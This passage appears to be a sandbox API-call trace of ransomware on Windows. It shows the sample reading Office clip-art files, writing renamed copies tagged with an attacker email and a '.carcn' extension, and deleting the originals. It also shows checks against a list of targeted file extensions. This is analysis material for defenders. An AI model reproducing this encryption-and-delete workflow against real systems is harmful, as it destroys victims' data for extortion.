office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0262.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.852] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.852] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0262.853] GetLastError () returned 0x0 [0262.853] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xc48, lpOverlapped=0x0) returned 1 [0262.922] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xc50, lpOverlapped=0x0) returned 1 [0262.923] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.923] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.923] SetEndOfFile (hFile=0x558) returned 1 [0262.924] CloseHandle (hObject=0x558) returned 1 [0262.925] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.925] SetEndOfFile (hFile=0x528) returned 1 [0262.933] CloseHandle (hObject=0x528) returned 1 [0262.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0262.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.935] lstrlenW (lpString=".doc") returned 4 [0262.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.935] lstrlenW (lpString=".docx") returned 5 [0262.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.935] lstrlenW (lpString=".pdf") returned 4 [0262.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.935] lstrlenW (lpString=".xls") returned 4 [0262.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.935] lstrlenW (lpString=".xlsx") returned 5 [0262.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.935] lstrlenW (lpString=".ppt") returned 4 [0262.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString=".zip") returned 4 [0262.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.936] lstrlenW (lpString=".rar") returned 4 [0262.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString=".bz2") returned 4 [0262.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString=".7z") returned 3 [0262.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString=".dbf") returned 4 [0262.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString=".1cd") returned 4 [0262.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString=".jpg") returned 4 [0262.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.936] lstrlenW (lpString=".doc") returned 4 [0262.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.936] lstrlenW (lpString=".docx") returned 5 [0262.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.936] lstrlenW (lpString=".pdf") returned 4 [0262.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.937] lstrlenW (lpString=".xls") returned 4 [0262.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.937] lstrlenW (lpString=".xlsx") returned 5 [0262.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.937] lstrlenW (lpString=".ppt") returned 4 [0262.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.937] lstrlenW (lpString=".zip") returned 4 [0262.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.937] lstrlenW (lpString=".rar") returned 4 [0262.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.937] lstrlenW (lpString=".bz2") returned 4 [0262.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.937] lstrlenW (lpString=".7z") returned 3 [0262.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.937] lstrlenW (lpString=".dbf") returned 4 [0262.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.938] lstrlenW (lpString=".1cd") returned 4 [0262.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0262.938] lstrlenW (lpString=".jpg") returned 4 [0262.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.938] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.938] lstrlenW (lpString="AN04267_.WMF") returned 12 [0262.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.939] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=7804) returned 1 [0262.939] CloseHandle (hObject=0x528) returned 1 [0262.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0262.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.940] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.940] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.957] GetLastError () returned 0x0 [0262.957] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0263.020] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0263.022] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.022] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.022] SetEndOfFile (hFile=0x548) returned 1 [0263.022] CloseHandle (hObject=0x548) returned 1 [0263.023] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.023] SetEndOfFile (hFile=0x528) returned 1 [0263.026] CloseHandle (hObject=0x528) returned 1 [0263.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0263.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.030] lstrlenW (lpString=".doc") returned 4 [0263.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.030] lstrlenW (lpString=".docx") returned 5 [0263.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.030] lstrlenW (lpString=".pdf") returned 4 [0263.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.030] lstrlenW (lpString=".xls") returned 4 [0263.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.030] lstrlenW (lpString=".xlsx") returned 5 [0263.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.030] lstrlenW (lpString=".ppt") returned 4 [0263.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.030] lstrlenW (lpString=".zip") returned 4 [0263.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.030] lstrlenW (lpString=".rar") returned 4 [0263.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.030] lstrlenW (lpString=".bz2") returned 4 [0263.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString=".7z") returned 3 [0263.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.031] lstrlenW (lpString=".dbf") returned 4 [0263.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.031] lstrlenW (lpString=".1cd") returned 4 [0263.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.031] lstrlenW (lpString=".jpg") returned 4 [0263.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.031] lstrlenW (lpString=".doc") returned 4 [0263.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString=".docx") returned 5 [0263.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.031] lstrlenW (lpString=".pdf") returned 4 [0263.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.031] lstrlenW (lpString=".xls") returned 4 [0263.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.031] lstrlenW (lpString=".xlsx") returned 5 [0263.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.031] lstrlenW (lpString=".ppt") returned 4 [0263.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.032] lstrlenW (lpString=".zip") returned 4 [0263.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.032] lstrlenW (lpString=".rar") returned 4 [0263.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.032] lstrlenW (lpString=".bz2") returned 4 [0263.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.032] lstrlenW (lpString=".7z") returned 3 [0263.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.032] lstrlenW (lpString=".dbf") returned 4 [0263.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.032] lstrlenW (lpString=".1cd") returned 4 [0263.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0263.032] lstrlenW (lpString=".jpg") returned 4 [0263.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.032] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.032] lstrlenW (lpString="AN04323_.WMF") returned 12 [0263.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.033] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2492) returned 1 [0263.033] CloseHandle (hObject=0x528) returned 1 [0263.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0263.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.035] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.035] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.035] GetLastError () returned 0x0 [0263.035] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0263.150] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0263.151] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.152] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.152] SetEndOfFile (hFile=0x548) returned 1 [0263.152] CloseHandle (hObject=0x548) returned 1 [0263.153] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.153] SetEndOfFile (hFile=0x528) returned 1 [0263.156] CloseHandle (hObject=0x528) returned 1 [0263.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0263.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.157] lstrlenW (lpString=".doc") returned 4 [0263.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.157] lstrlenW (lpString=".docx") returned 5 [0263.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.157] lstrlenW (lpString=".pdf") returned 4 [0263.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.157] lstrlenW (lpString=".xls") returned 4 [0263.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.157] lstrlenW (lpString=".xlsx") returned 5 [0263.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.157] lstrlenW (lpString=".ppt") returned 4 [0263.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString=".zip") returned 4 [0263.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.158] lstrlenW (lpString=".rar") returned 4 [0263.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString=".bz2") returned 4 [0263.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString=".7z") returned 3 [0263.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString=".dbf") returned 4 [0263.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString=".1cd") returned 4 [0263.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString=".jpg") returned 4 [0263.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.158] lstrlenW (lpString=".doc") returned 4 [0263.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.159] lstrlenW (lpString=".docx") returned 5 [0263.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.159] lstrlenW (lpString=".pdf") returned 4 [0263.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.159] lstrlenW (lpString=".xls") returned 4 [0263.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.159] lstrlenW (lpString=".xlsx") returned 5 [0263.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.159] lstrlenW (lpString=".ppt") returned 4 [0263.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.159] lstrlenW (lpString=".zip") returned 4 [0263.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.159] lstrlenW (lpString=".rar") returned 4 [0263.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.159] lstrlenW (lpString=".bz2") returned 4 [0263.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.159] lstrlenW (lpString=".7z") returned 3 [0263.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.159] lstrlenW (lpString=".dbf") returned 4 [0263.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.160] lstrlenW (lpString=".1cd") returned 4 [0263.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0263.160] lstrlenW (lpString=".jpg") returned 4 [0263.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.160] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.160] lstrlenW (lpString="AN04355_.WMF") returned 12 [0263.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.161] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3228) returned 1 [0263.161] CloseHandle (hObject=0x528) returned 1 [0263.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0263.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.161] CreateFileW 